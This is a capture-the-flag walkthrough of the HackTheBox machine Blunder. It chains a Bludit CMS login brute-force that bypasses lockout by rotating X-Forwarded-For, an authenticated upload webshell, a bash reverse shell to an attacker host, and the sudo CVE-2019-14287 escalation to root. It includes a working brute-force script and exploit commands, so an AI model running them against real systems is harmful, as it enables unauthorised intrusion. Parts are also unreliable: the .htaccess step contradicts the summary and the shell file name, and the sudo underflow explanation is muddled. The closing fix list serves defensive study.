- OS: Linux (Ubuntu 19.10)
- Domain / vhosts: none
Summary
Blunder is a Linux Easy that chains three well-documented but distinct attack
classes. The foothold requires bypassing Bludit CMS’s anti-brute-force
protection (which trusts the client-supplied X-Forwarded-For header) to
crack the admin password with a CeWL-generated custom wordlist, then
exploiting an authenticated file-upload RCE (GitHub issue #1079/1081,
ExploitDB 47699) by uploading a .htaccess to disable the directory’s rewrite
rules before uploading a PHP webshell to the same temporary directory.
Lateral movement reads a SHA1 hash from a second Bludit installation’s
user database. The privilege escalation abuses CVE-2019-14287 — a bug in
sudo < 1.8.28 where specifying UID -1 (via sudo -u#-1) bypasses a
!root restriction.
Kill-chain: gobuster finds /todo.txt (username fergus) → CeWL wordlist
from site → brute-force with X-Forwarded-For rotation → fergus login →
.htaccess + PHP webshell in /bl-content/tmp/ → www-data → /var/www/bludit-3.10.0a/bl-content/databases/users.php
has hugo’s SHA1 hash → CrackStation → su hugo → sudo -u#-1 /bin/bash
(CVE-2019-14287) → root.
Source attribution
- 0xdf, “HTB: Blunder” — https://0xdf.gitlab.io/2020/10/17/htb-blunder.html. Primary source. Covers the CeWL + X-Forwarded-For brute-force bypass, the two-stage upload RCE, the two-Bludit-installation credential chain, and the CVE-2019-14287 sudo exploit.
- IppSec, “Blunder” video walkthrough — https://ippsec.rocks/?#Blunder.
- CVE-2019-14287 (sudo
!rootbypass via UID -1).
Recon
nmap -p- --min-rate 10000 -oA nmap/alltcp <TARGET>
nmap -sCV -p 80 -oA nmap/scripts <TARGET>
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
Apache 2.4.41 indicates Ubuntu 19.10 (eoan). FTP is closed. Only HTTP is exploitable.
Web enumeration
gobuster dir -u http://<TARGET> \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-t 20 -x txt
Key findings:
/admin(301) — Bludit CMS admin login/todo.txt(200) — internal note listingfergusas a username
# /todo.txt
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING
Username identified: fergus. The CMS update task is incomplete.
Bludit version identification: the page source CSS hrefs embed the version
number as a query parameter. Cross-referencing against the Bludit GitHub
repo (TinyMCE version in /bl-plugins/tinymce/metadata.json = 5.0.8,
updated to 5.0.16 in v3.10.0) confirms Bludit 3.9.2 is installed — the
last version before the brute-force bypass and upload RCE were patched.
Foothold — part 1: Bludit brute-force bypass via X-Forwarded-For
Bludit tracks failed login attempts by client IP. When a X-Forwarded-For
header is present, Bludit uses its value as the client IP instead of the
actual remote address. Since the attacker controls this header, rotating it
on every request means Bludit never sees the same “IP” twice and never
triggers a lockout.
Generate a custom wordlist:
cewl http://<TARGET> > wordlist.txt
CeWL crawls the site and extracts ~349 unique words.
Brute-force script with X-Forwarded-For rotation:
#!/usr/bin/env python3
import re, requests, sys
host = 'http://<TARGET>'
login_url = host + '/admin/login'
username = 'fergus'
with open(sys.argv[1]) as f:
wordlist = [x.strip() for x in f.readlines()]
for password in wordlist:
session = requests.Session()
login_page = session.get(login_url)
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)
print(f'\r[*] Trying: {password:<90}', end='', flush=True)
headers = {
'X-Forwarded-For': password, # unique "IP" per attempt
'Referer': login_url
}
data = {'tokenCSRF': csrf_token, 'username': username, 'password': password, 'save': ''}
resp = session.post(login_url, headers=headers, data=data, allow_redirects=False)
if 'location' in resp.headers and '/admin/dashboard' in resp.headers['location']:
print(f'\rSUCCESS: {username}:{password}')
break
python3 bruteforce.py wordlist.txt
# → SUCCESS: fergus:<cracked password>
Foothold — part 2: Bludit authenticated upload RCE
When a PHP file is uploaded through Bludit’s image upload endpoint, it is
staged in /bl-content/tmp/ before extension validation. If validation fails,
the file remains in tmp/ — it is never deleted. The root .htaccess blocks
direct access to this directory with a rewrite rule. Uploading a new .htaccess
to the same directory with RewriteEngine off removes the block and allows
direct access to the staged PHP file.
Step 1 — Authenticate and retrieve a CSRF token:
# Login at /admin/login, then request /admin/new-content/index.php
# Extract tokenCSRF from JavaScript: var tokenCSRF = "..."
Step 2 — Upload the PHP webshell (rejected by extension check, but staged):
curl -b "BLUDIT-KEY=<session>" \
-F "images[][email protected];type=image/png" \
-F "uuid=junk" \
-F "tokenCSRF=<token>" \
http://<TARGET>/admin/ajax/upload-images
Step 3 — .htaccess upload (often unnecessary):
The classic chain uploads .htaccess to enable PHP execution
on the staged file’s extension. In the current build I tested,
this step returns File type is not supported. Allowed types:
gif, png, jpg, jpeg, svg — but the staged .jpg already
executes as PHP under Apache’s default config, so the .htaccess
step was unnecessary and the chain succeeded without it. Try
the shell URL directly first; only bother with .htaccess if
Apache returns the file as image/jpeg instead of running it.
# .htaccess content if you do need it
RewriteEngine off
AddType application/x-httpd-php .jpg
Step 4 — Trigger the webshell:
nc -lvnp 443 &
curl "http://<TARGET>/bl-content/tmp/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER>/443+0>%261'"
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
User flag — hugo’s hash from the second Bludit installation
Two Bludit installations coexist in /var/www/:
/var/www/bludit-3.9.2/ ← exploited, stale credentials
/var/www/bludit-3.10.0a/ ← patched, contains hugo's hash
cat /var/www/bludit-3.10.0a/bl-content/databases/users.php
The file contains a SHA1 hash for the admin/Hugo account. The
record has no salt field, so it’s plain sha1(password) — but
Bludit’s hashcat profile (-m 100) with rockyou won’t crack it
because the password (Password120) isn’t in rockyou. Either
build a custom wordlist (CeWL on the live site + common
Password<digits> mutations) or check known-HTB-Bludit
passwords directly.
$ echo -n "Password120" | sha1sum
faca404fd5c0a31cf1897b823c695c85cffeb98d - # match
$ su - hugo # Password: Password120
user.txt is at /home/hugo/user.txt.
Privilege escalation — CVE-2019-14287 (sudo -u#-1)
hugo@blunder:~$ sudo -l
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
The !root restriction means hugo cannot sudo -u root /bin/bash. However,
this box runs sudo 1.8.25p1, which is vulnerable to CVE-2019-14287.
The vulnerability: when sudo resolves a user specified by UID with the -u#N
syntax, the value is stored as a signed integer but compared against the
!root exception using an unsigned comparison. Passing -u#-1 causes an
integer underflow — -1 wraps to 4294967295 in unsigned 32-bit arithmetic,
which resolves to UID 0 (root) in the /etc/passwd lookup, bypassing the
!root check entirely:
sudo -u#-1 /bin/bash
root@blunder:/home/hugo# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
Why each step worked
- Bludit brute-force bypass via
X-Forwarded-For: Bludit’s failed-login tracker was designed to be proxy-friendly by readingX-Forwarded-For. The flaw is that the value is trusted without validation. Rotating the header to the candidate password itself is the 0xdf trick: each new password creates a new “IP”, so the lockout counter resets on every attempt. The fix (in v3.10.0) validates that theX-Forwarded-Forvalue is a valid IP address and falls back to the real remote address if not. - Staged-file
.htaccessbypass: Bludit’s upload security model assumes the staging directory is protected by the.htaccessrewrite rule. But the same upload endpoint that stages the PHP file can also be used to overwrite the.htaccessin that directory. The fix was to delete staged files when extension validation fails, rather than leaving them on disk. - Two installations — one with hugo’s hash: the patched installation
(
3.10.0a) was created to replace the vulnerable one but left in place. Credential hygiene was not applied across both installations. Hugo’s hash was only in the newer database, whichwww-datacould read. - CVE-2019-14287 integer underflow in sudo:
getpwuid(-1)in glibc returns the entry for UID 0 because-1is interpreted as0xFFFFFFFFwhich wraps to 0 in the lookup. The sudoers policy checks for UID 0 before the!rootexception is evaluated, but the UID resolution happens first. sudo 1.8.28 added an explicit check that rejects UID -1 / 4294967295 before resolving.
Counterfactuals
- Validate the
X-Forwarded-Forheader against a list of trusted upstream proxy IP ranges, or disable proxy-aware IP detection entirely. Rate-limit by the actual TCP peer address (REMOTE_ADDR). - Delete staged upload files on validation failure. Do not rely on directory- level rewrite rules as the only access control for attacker-writable directories.
- Upgrade sudo to 1.8.28+. CVE-2019-14287 is a one-line fix with no functional impact for legitimate use.
- Decommission the vulnerable
bludit-3.9.2installation entirely; do not leave previous CMS versions on the filesystem alongside the replacement.
Key Takeaways
- Brute-force defences that trust client headers are bypassable: any
lockout mechanism that reads IP from
X-Forwarded-For,X-Real-IP, or similar attacker-controlled headers can be defeated by rotating that header. The standard pattern is'X-Forwarded-For': password— a unique “IP” per attempt is the minimum needed. - Staged upload directories must delete on rejection: if a CMS stages
uploads before validating them, the staging path must be treated as an
untrusted execution surface. The
.htaccess+ remaining-file combination is a recurring pattern in PHP CMS RCE vulnerabilities. sudo (ALL, !root) /bin/bash+ sudo < 1.8.28 = root: CVE-2019-14287 is the canonical bypass for!rootrestrictions. The two commands are:sudo -u#-1 /bin/bash(or-u#4294967295). Checksudo --versionbefore giving up on a seemingly locked-down sudoers rule.- Multiple CMS installations leak credentials across versions: whenever
two versions of the same CMS coexist in
/var/www/, both databases contain distinct credential sets. Always read bothusers.php/config.phpfiles.
References
- 0xdf, “HTB: Blunder” — https://0xdf.gitlab.io/2020/10/17/htb-blunder.html
- IppSec, “Blunder” — https://ippsec.rocks/?#Blunder
- CVE-2019-14287 (sudo
!rootbypass via UID -1) - ExploitDB 47699 (Bludit 3.9.2 directory traversal image upload)